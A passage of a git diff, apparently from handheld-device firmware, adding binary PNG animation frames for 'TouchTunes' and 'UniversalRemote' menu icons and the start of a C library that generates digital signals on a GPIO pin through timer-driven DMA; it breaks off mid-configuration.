0000000000000000000000000000000000000000..1f5ff11cbc23d74343a5b6a6ad1dc61b9d44f0e3 GIT binary patch literal 397 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H)zif>gyXtyzadw%0|SdY@A86qt*!O}0-w0Fop=2)T@w7q znTu0nlACX0X{Je1*Y2VjvC~TV9&BcgW17?8uG*Mi$S9s+F3D1qy*6}vaYx-g1GDTj z#b;`pU$k33S(sn2*1KU-+(FibVhygG!g^Y~yR>q)ce_hGKF7!F_y5`Pgo(*Ji)}YN z4Dk;%c_~tGhPD5$cZ0o+pMK_3ZMH(716500BT7;dOH!?pi&B9UgOP!ek*w=Pi8W=oX{an^LB{Ts5*Ts1t literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_06_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_06_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..8fbf8625c14e9522cbcf2bbaf5a9c59a43c2ae08 GIT binary patch literal 400 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H!_&nvgyXtyzdm=f1B3hgjr%1Lpc_?7Tq814Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H$J50zgyXvH`TeUM3mF_f_UqqW{Z8psp3jt|FX|ia>_0qz z#r6rVGw&x=Xm+}uI`Q^Yzj=(Lf4aroQ_|DbSLt5aFhhNZ-!Yb)PZnK|YCdm#Tliiz z=l_&#JG)PGw}~w&oahjAWaR>DTe$}XbIMq)ZpyxkT+Z`% zS7Lrh(npK`C)RECFP|`9syEoq;puLLqxM!Udb;y1?RtRjR4s9hC`m~yNwrEYN(E93 zMg~Skx(24Yh9)5frdGzrR;H%f1_o9@^!e326b-rgDVb@NxHWjM3rYfNVDNPHb6Mw< G&;$TK5sjVz literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_08_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_08_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..f3724bbde1a247fc66caf5a56bf8b2facbd30303 GIT binary patch literal 414 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y%+tj&gyXvISw+640GR_1=ljPMMcixK%siJl!}OJ>4P*F2 z3AWkF2HeKVjBbUOHy)gE)cmKkLEX#QoHw3}�D?c`#+yfep4kI+1-V7N$JPl8^fG z_t*08ZijC(i_}h%W|*vQyQ;6(o~dVFXZBMzUMYvmEbEMpugKUqZCghlo1mxmNu!lP zf`tvyq4hgV?xuC+9G@AR&dAzwID2CSucCqQ27ZQXQgz$DIQc)X5|swJShd78q9i4; zB-JXpC>2OC7#SED=^B{o8k&R{m|7VdTbY__8yHvt(dSq9P&DM`r(~v8;@053E+`48 Ofx*+&&t;ucLK6U|y@bmE literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_09_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_09_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..ff34450d944f74517bd986e51df5c6c683462183 GIT binary patch literal 427 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y+0(@_gyXvISwpYG0SpWmrauwZaa-FVd!$3xs;sD3tKaWt|zHpXfhvfE;SNCUFZeA&Ec%_TRt6bt-1zFmJ+ z)RcX1gQK0omPAixH{#i)<&;glJzGZ z8kMb+TfP?PeAN=yh?11Vl2ohYqEsNoU}Ruqq-$WRYiJT;U}|M-Y-MVyZD3#pM4w;X eL(!0%pOTqYiCcsBx}YSW1_n=8KbLh*2~7Yaw3eL! literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_10_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_10_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..2b61340cba323b443891bfc2d1a29d61f781c469 GIT binary patch literal 427 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y+0(@_gyXvId3$cgLYan-&(FPo@kf1n&=j3b5jS$;Is@I_ zyJ^NX98Fkorb|UK=U?vef+@o5_O%(;ZF_!^C9j&{lw`nx4>ICg+!wySd~TWJO|ym$ z9~nWxbR8wDm>6M&k2f36ZTkL+;m(T;#|1`j*LWK~u*&~>xay*fYZJqgbIX>#I_h|- zpmB+5_H&bicdNJ;d|ZH#L1(v+uUO_QmvAUQh^kMk%5tsu7Rnpp-G5=sg<#@m8q$=fq@keeSUQh eMMG|WN@iLmZVle+f|7t57(8A5T-G@yGywp`fS8s5 literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_11_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_11_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..9420c763fffc590092d0d55b554f30feeceb6cd8 GIT binary patch literal 426 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y$*;`j_m2`=xLvC`eLVAarIT5gpD*Z)hk@=M~ldAUB-)a1K z_oN?}{N<^Feb1z;gADFOoz>kR?|=JPO4uFiKWn$XDHpEX?!fg*UACUj>mOqvyOZ9L zBT1D&*Q=JeMwFx^mZVxG7o`Fz1|tI_BV7YiT|<))15+zwV=GfrZ36=14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y-P6S}gyXvEIYaH1LK%h!&;P%F7w7uw(pRaJz)3n{_YXc2 zzQMEUw~^aZ<`Yw&uH#W-lhojBE;(BLuB&9?AD;I=a{RegS#P+su<`Ko$Qqq@*VjCI z?o_p2L21|Gj*dWcC8Om#dEc%~-t_Nl0ng)y&hd8d-|qEI__XQr?h~noCmiHNQoDXH zzIs-y?%cX<(}Q=&PF25AH8*m4Q}fc7Z{EKy+@5DsD>mJ1pSG#^tj@5_4qU6GdG}wl z`ok>r$H{H-rWJNTFQ}HdMwFx^mZVxG7o`Fz1|tI_BV7YiT|<))15+zwV=GfrZ36=< jAo~339*TzC{FKbJO57T}*99d3H86O(`njxgN@xNAcITV8 literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_13_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_13_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..e9527fa833491eff3316cd410a901508344f1179 GIT binary patch literal 424 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y!PCVtgyXvExrJWLg)$5e-q-K478E>YXwcD-nITfczWM0B z2i!l5y3M+i&u*}7EC`I;wcz0)d3}p!qbKPRe{M~0+Qal%aCb$8{gLY@|4#e4g72lV zv&)&^9UXOYf~=d1I1U%NC0;C(EV`~Ia<=GFe!^w{X}*Esu}neXS2gd+9lu`vqcZO9 zyyX|x_|JFR_4CI5DNQeLGVZ&*J9lwxxc<7j&AR>UokanPtUs^z*^4XxV^n$V14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y!PCVtgyXvExrJWLg)$5e-q-K478E>YXwcD-nITfczWM0B z2i!l5y3M+i&u*}7EC`I;wcz0)d3}p!qbKPRe{M~0+Qal%aCb$8{gLY@|4#e4g72lV zv&)&^9UXOYf~=d1I1U%NC0;C(EV`~Ia<=GFe!^w{X}*Esu}neXS2gd+9lu`vqcZO9 zyyX|x_|JFR_4CI5DNQeLGVZ&*J9lwxxc<7j&AR>UokanPtUs^z*^4XxV^n$V14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y!PCVtgyXvExrJWLg)$5e-q-K478E>YXwcD-nITfczWM0B z2i!l5y3M+i&u*}7EC`I;wcz0)d3}p!qbKPRe{M~0+Qal%aCb$8{gLY@|4#e4g72lV zv&)&^9UXOYf~=d1I1U%NC0;C(EV`~Ia<=GFe!^w{X}*Esu}neXS2gd+9lu`vqcZO9 zyyX|x_|JFR_4CI5DNQeLGVZ&*J9lwxxc<7j&AR>UokanPtUs^z*^4XxV^n$V14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y!PCVtgyXvExrJWLg)$5e-q-K478E>YXwcD-nITfczWM0B z2i!l5y3M+i&u*}7EC`I;wcz0)d3}p!qbKPRe{M~0+Qal%aCb$8{gLY@|4#e4g72lV zv&)&^9UXOYf~=d1I1U%NC0;C(EV`~Ia<=GFe!^w{X}*Esu}neXS2gd+9lu`vqcZO9 zyyX|x_|JFR_4CI5DNQeLGVZ&*J9lwxxc<7j&AR>UokanPtUs^z*^4XxV^n$V14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y$YVmxV$pEMJR$-=0RQDmEJEGEez`JuDH25=U{}d1EyNU3=Kf%IJ?Y|` z8Q3lcbiHbcYeY#(Vo9o1a#1RfVlXl=GSW3L)ipE;F)+0cptHiCrdtFcxPy>UftDnm{r-UW|_-&5! literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_18_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_18_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..2109273f0538a073ab31357ea73ca5d6ef928442 GIT binary patch literal 418 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y%G1R$gyXvE*@a%ri3|)6-v8hDPlrb)T@IPZ3eYKokH`;F`Tf204uo4&4o)<4s-CmB5xGVNXGem-K)sAc8lE8^e}bhT=U zYeY#(Vo9o1a#1RfVlXl=GSW3L)ipE;F)+0cptHiCr TdtFcxPy>UftDnm{r-UW|SWb=} literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_19_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_19_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..0c7e9eaa9acfc11c5ba98495c64feb772ce07b6b GIT binary patch literal 419 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y+SA1`gyVYX`Hfsn4h#(s|MyKkFe^%?g-v|vx2(=%w-zmb zF|&#({=mX*3zjajJmSg1&Z>N(&H1I&9I5{=AB(fiS`@nF)J6x!i)fnra&uSOL-JSNBjf;M1& literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_20_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_20_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..4c283af6cc3dd76ef888f62b770519219a2d79d2 GIT binary patch literal 425 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y(bL5-gyXtypCLD6B7?*IxsN?wc6q!sk~os2$QBu)`>(0~ zLHXSxH#OCygu+0tSFgG^Y1E#oJy&q=SKIe30u>qx(^z>D%>0?x|6?dQFgZ;r(d&Ia z_ugCLcdePCPH1JQHGaSLV!>m*BfJmP#Pl|P%G`ANDdT^uGQC}ES?XIhZT;}TyM(P^jg7!02l4F2+--9u6g;Q}?C*+$5EIK(@i=1M}oG>y=+$ zUJ3;|UbVzEq9i4;B-JXpC>2OC7#SED=^B{o8k&R{m|7VdTbY__8yHvt(dSq9P&DM` ar(~v8;@053E+`48fx*+&&t;ucLK6UXX_27- literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_21_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_21_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..750aec1627b2bcb3a822647a39c185312a4276f8 GIT binary patch literal 415 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y+|$J|gyXvIxs6;+0U`|#@1J&^(qYiFd#jb_Wc>>QzI#*k zFHABq`NGCq&d1WOAn;bLiQUh+*8hVm*A}K5JR1&tHDb2gtt)Y${l=||4-QKT;w>KB z%st@nK6ci!m7i@Tp4{kVNG=!QnR+I>p-NAbP27V)sOfNk*jXvTYrcU^uS%r9)LeUL zw$hF3YPRX5Jz>A^zf%0z>HPcI_EXNAW6Tu)ug^HDWX8O2x{C8O)?mIIpp#WgTq814Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H*VDx@gyXvIxxHD30vH-DKK8xB9Tc-g_6}=$yn_|%uRTue zFQrAo+w+vFrYigsQ8Bryc<%m(xz}XdrEUsX+U>9UQLE1p5xVhq?^Uj~*7w)v|986O zKYLeXdD5FT<{WRP3D3|eXAxU0^XX#Kfd|*xzU4Y3gykhhpW`_4Xw9lQ-8T&Srng)^ z9sKoi{=3CKXHWc?_3LkmtbHh7>9TWe6$~!5#&P9~w%i0dRJFu4q9i4;B-JXpC>2OC z7#SED=^B{o8k&R{m|7VdTbY__8yHvt(dSq9P&DM`r(~v8;@053E+`48fx*+&&t;uc GLK6TW7K_OM literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_23_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_23_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..17007aad5b72394efd0dc44c1695aa84df0dbba8 GIT binary patch literal 394 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H$RT|6Y<(mnr^A%=$9Fa`m*%uN!`D-e>!} zB&zh{QtgRLxescKOyrM!rQKXPsvQH#I3=5T~HEG1B0ilpUXO@geCx6DTF`( literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_24_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_24_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..4c03a8101928e3271e518ca78035200e788ad972 GIT binary patch literal 401 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H)6>Nq6`gxmuO$_jb>;+NNMOnR8l6h2;5yokve>Wxd+das69i$e*y^XWk!`dFlSFXuI3z zwuWB@1~RWYr&~>Y<(+mtC-HU(OVCZna5bi<&p3|z&b)o^z=HX1%a@;LuRq;C{mkv3 zukRMu&vsj_!BW_o^yJpP#no%l{xExO(qWTKIK2kwNYxV8h?11Vl2ohYqEsNoU}Ruq zq-$WRYiJT;U}|M-Y-MVyZD3#pM4w;XL(!0%pOTqYiCcsBx}YSW1_n=8KbLh*2~7a5 C2#f>( literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_25_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_25_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..334498adcefb0195df99757781c744a567450337 GIT binary patch literal 401 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H)6>N54HEbeSUg?YOYrz7>ylu^-mseD<8D|KFNtYrh9~{>#rQTgEIC z-Z4?1tLv!3hBMJyK5csT)S&U?LnohUcOK45IkM%rcSPUqg}&TfTX+^w=Pi8W=oX{an^LB{Ts5 DS00MI literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_26_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_26_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..b203dc30275055bbe87d8475ad1ffff70af7a57e GIT binary patch literal 404 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H$J50zgyXvIS;MSD2@DMvrzglTm1(G4RlVT5VRch;`v<+f z0s0AH=O1JVd&#z}n-=87@keWkv(dh%zZdnLW}lJX^WodqhW(GWKL7q^qwwE9uV&`Y zFVquE4&1io>7w)%(==ah;yUu?GH=c$Tf<6W1rtld*E#IFbM7uzyY8^VudT?`_UhM_ zE86lc>g3ksB|ZoiGV~L2k)2+yT&^$q|5>y?lk&ab2%tMvOI#yLQW8s2t&)pUffR$0 zfsv7}fvK*cNr-`|m9epvsj0SsffW#aesvE;LvDUbW?Cg~4c_a5l7Jc*JYD@<);T3K F0RT@yh=2e9 literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_27_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_27_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..3e17c6c76ba81c56c52edd21147e6b1d5e692607 GIT binary patch literal 410 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y$kW9!gyXvIS;MSD2@(wt)mMHhe-*%S@Tf0G$y-*NCi4#h zdmG$ea&FpT&21%BBFdt;RK(GssYdqE51se3S>MWqurk-k-!G7?|N2LAZ~L3?{^u{| z^d$Gngx(0LmpaKffBJ@;=TDZL+`4$TUr_wL zY3<7_r`&%2eV=4r&9T2Hl~VV(HR@!P$Jx|~{9$%au$)14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD-F@2(Wt#qtYOxn1c`=+>W)9>T8Sv76t0@EFj@bBU==g} z#k-p;nsnwJIO(`us6>?gXponqfkq8qVa>GfXPZ8Yg|OP5`L6#%zP9v_X1w#a-^-JK zS{~Zx*0(Az^YyC7g{GcMPQL2cac-KRpy277rbR1l7}||a&YUNEg-!1n$^K^oaDR8A6{26`zZuLQCH&4rH({emZfX-Ddag8WRNi0dV zN-jzTQVd20Mn<{@rn-hEAqJ*a#>Q5rrrHJuRzURm)jbpqx%nxXX_dG&c&`ge0%~CJ MboFyt=akR{00vu%od5s; literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_29_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_29_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..479fbd58b591c8277f06ec1225ee29ee095c8564 GIT binary patch literal 411 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD-F@2(Wt#qtYOxn1c`=+>W)9>T8Sv76t0@EFj@bBU==g} z#k-p;nsnwJIO(`us6>?gXponqfkq8qVa>GfXPZ8Yg|OP5`L6#%zP9v_X1w#a-^-JK zS{~Zx*0(Az^YyC7g{GcMPQL2cac-KRpy277rbR1l7}||a&YUNEg-!1n$^K^oaDR8A6{26`zZuLQCH&4rH({emZfX-Ddag8WRNi0dV zN-jzTQVd20Mn<{@rn-hEAqJ*a#>Q5rrrHJuRzURm)jbpqx%nxXX_dG&c&`ge0%~CJ MboFyt=akR{00vu%od5s; literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_rate b/assets/icons/MainMenu/TouchTunes_14/frame_rate new file mode 100644 index 000000000..e440e5c84 --- /dev/null +++ b/assets/icons/MainMenu/TouchTunes_14/frame_rate @@ -0,0 +1 @@ +3 \ No newline at end of file diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_1.png b/assets/icons/MainMenu/UniversalRemote_14/frame_1.png new file mode 100644 index 0000000000000000000000000000000000000000..8d135853f5ec8f6905074e662b76e8d2bdd4535b GIT binary patch literal 170 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}DV{ElAsQ36 zPO|1ZV8G$bd+P7{H-0W0H#4oi^d6~6;+WK;pv1uNO!DO0T9!xIDu1PfUK=WxLI)A-h;@|GLAog4MsTe0*o-BgT3T7g19- SlLmdKI;Vst0H}aDT>t<8 literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_3.png b/assets/icons/MainMenu/UniversalRemote_14/frame_3.png new file mode 100644 index 0000000000000000000000000000000000000000..c64bad5f2f2f43005e57613bf0acf6e743a64c90 GIT binary patch literal 171 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}sh%#5AsQ3s zPV(eCpuoeNd*y$9Wz{05iNP7qCFZcIvjrU3rn0i~+KWjHjQ)+ML>GG>@0)R>cf0SJ zyFm-HMbFuXKI~b$YhsIaPI|b%ME;Cviq-JoMr6)F8KJa%}03m2|J2P TGp2k4TFBt(>gTe~DWM4fkSaY6 literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_4.png b/assets/icons/MainMenu/UniversalRemote_14/frame_4.png new file mode 100644 index 0000000000000000000000000000000000000000..efd7181f0a36490d555a6e16df3bf2c457d592f2 GIT binary patch literal 168 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}NuDl_AsQ36 zP735ZpupkG{qbM;yL|>NTh8g+{C$LJtCR|-qYDGW8N*Aa6Io8$CTvRCnp<+hE&cu0 z!o1+-F!5`1mu<+3o$gh!i0wp3{)ylxUAfV<4X+E-_S+r*UJ$Y|zhIkujl7+h)rISO QfVMGsy85}Sb4q9e00DD6_y7O^ literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_5.png b/assets/icons/MainMenu/UniversalRemote_14/frame_5.png new file mode 100644 index 0000000000000000000000000000000000000000..300f00128d067e358fc954204533468eb5efd495 GIT binary patch literal 169 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}$(}BbAsQ36 zPO{`~duFbQL9S`u-Lk+<4WXrnW^n{sChumK=w57N>#ps$@6P(ZD&ynqR>F>=Ql-zl QfYvd1y85}Sb4q9e0N5=zEdT%j literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_6.png b/assets/icons/MainMenu/UniversalRemote_14/frame_6.png new file mode 100644 index 0000000000000000000000000000000000000000..24c349ead5a777f2be43ed17b96ef15b58e20cc4 GIT binary patch literal 165 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}@t!V@AsQ36 z208K_FyLUi{J(zY++7mOubN1zCm$4=GO2|{g^}T?@f(${Qtdejsb^2cY4?2FmdKI;Vst0H}aDT>t<8 literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_7.png b/assets/icons/MainMenu/UniversalRemote_14/frame_7.png new file mode 100644 index 0000000000000000000000000000000000000000..d41a66495a6bc1e308e97112671d73ddc495f5e4 GIT binary patch literal 166 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}37#&FAsQ2p z208K_FyL_7{J(zY+=y9hQTdOrga|f?c^+D@ih*HakDtmUg`d1PKHj+RYIsm+@?P!2 z@Z#pE-mEgQ>$C2yRah2~V0M-Bm&nd$nQ7Jyo)-3Nl~>N2viR!liTkDdEL8s-*gX$u O7lWs(pUXO@geCx08#~tk literal 0 HcmV?d00001 diff --git a/lib/digital_signal/digital_signal.c b/lib/digital_signal/digital_signal.c new file mode 100644 index 000000000..b9be3b602 --- /dev/null +++ b/lib/digital_signal/digital_signal.c @@ -0,0 +1,173 @@ +#include "digital_signal.h" + +#include +#include +#include +#include + +#define F_TIM (64000000.0) +#define T_TIM (1.0 / F_TIM) + +#define MAX_ARR_BUFF_SIZE (10000) + +// TODO rework with dynamic allocation +static uint32_t digital_signal_arr_buff[MAX_ARR_BUFF_SIZE]; + +DigitalSignal* digital_signal_alloc(uint32_t max_edges_cnt) { + DigitalSignal* signal = malloc(sizeof(DigitalSignal)); + signal->start_level = true; + signal->edges_max_cnt = max_edges_cnt; + signal->edge_timings = malloc(max_edges_cnt * sizeof(float)); + signal->edge_cnt = 0; + + return signal; +} + +void digital_signal_free(DigitalSignal* signal) { + furi_assert(signal); + + free(signal->edge_timings); + free(signal); +} + +bool digital_signal_append(DigitalSignal* signal_a, DigitalSignal* signal_b) { + furi_assert(signal_a); + furi_assert(signal_b); + + if(signal_a->edges_max_cnt < signal_a->edge_cnt + signal_b->edge_cnt) { + return false; + } + + bool end_level = signal_a->start_level ^ !(signal_a->edge_cnt % 2); + uint8_t start_copy = 0; + if(end_level == signal_b->start_level) { + if(signal_a->edge_cnt) { + signal_a->edge_timings[signal_a->edge_cnt - 1] += signal_b->edge_timings[0]; + } else { + signal_a->edge_timings[signal_a->edge_cnt] += signal_b->edge_timings[0]; + } + start_copy += 1; + } + memcpy( + &signal_a->edge_timings[signal_a->edge_cnt], + &signal_b->edge_timings[start_copy], + (signal_b->edge_cnt - start_copy) * sizeof(float)); + signal_a->edge_cnt += signal_b->edge_cnt - start_copy; + + return true; +} + +bool digital_signal_get_start_level(DigitalSignal* signal) { + furi_assert(signal); + + return signal->start_level; +} + +uint32_t digital_signal_get_edges_cnt(DigitalSignal* signal) { + furi_assert(signal); + + return signal->edge_cnt; +} + +float digital_signal_get_edge(DigitalSignal* signal, uint32_t edge_num) { + furi_assert(signal); + furi_assert(edge_num < signal->edge_cnt); + + return signal->edge_timings[edge_num]; +} + +static void digital_signal_prepare_arr(DigitalSignal* signal, uint32_t* arr) { + float t_signal = 0; + float t_current = 0; + float r = 0; + float r_int = 0; + float r_dec = 0; + + for(size_t i = 0; i < signal->edge_cnt - 1; i++) { + t_signal += signal->edge_timings[i]; + r = (t_signal - t_current) / T_TIM; + r_dec = modff(r, &r_int); + if(r_dec < 0.5f) { + arr[i] = (uint32_t)r_int - 1; + } else { + arr[i] = (uint32_t)r_int; + } + t_current += (arr[i] + 1) * T_TIM; + } +} + +bool digital_signal_send(DigitalSignal* signal, const GpioPin* gpio) { + furi_assert(signal); + furi_assert(gpio); + + // Configure gpio as output + furi_hal_gpio_init(gpio, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); + + // Init gpio buffer and DMA channel + uint16_t gpio_reg = gpio->port->ODR; + uint16_t gpio_buff[2]; + if(signal->start_level) { + gpio_buff[0] = gpio_reg | gpio->pin; + gpio_buff[1] = gpio_reg & ~(gpio->pin); + } else { + gpio_buff[0] = gpio_reg & ~(gpio->pin); + gpio_buff[1] = gpio_reg | gpio->pin; + } + LL_DMA_InitTypeDef dma_config = {}; + dma_config.MemoryOrM2MDstAddress = (uint32_t)gpio_buff; + dma_config.PeriphOrM2MSrcAddress = (uint32_t) & (gpio->port->ODR); + dma_config.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; + dma_config.Mode = LL_DMA_MODE_CIRCULAR; + dma_config.PeriphOrM2MSrcIncMode = LL_DMA_PERIPH_NOINCREMENT; + dma_config.MemoryOrM2MDstIncMode = LL_DMA_MEMORY_INCREMENT; + dma_config.PeriphOrM2MSrcDataSize = LL_DMA_PDATAALIGN_HALFWORD; + dma_config.MemoryOrM2MDstDataSize = LL_DMA_MDATAALIGN_HALFWORD; + dma_config.NbData = 2; + dma_config.PeriphRequest = 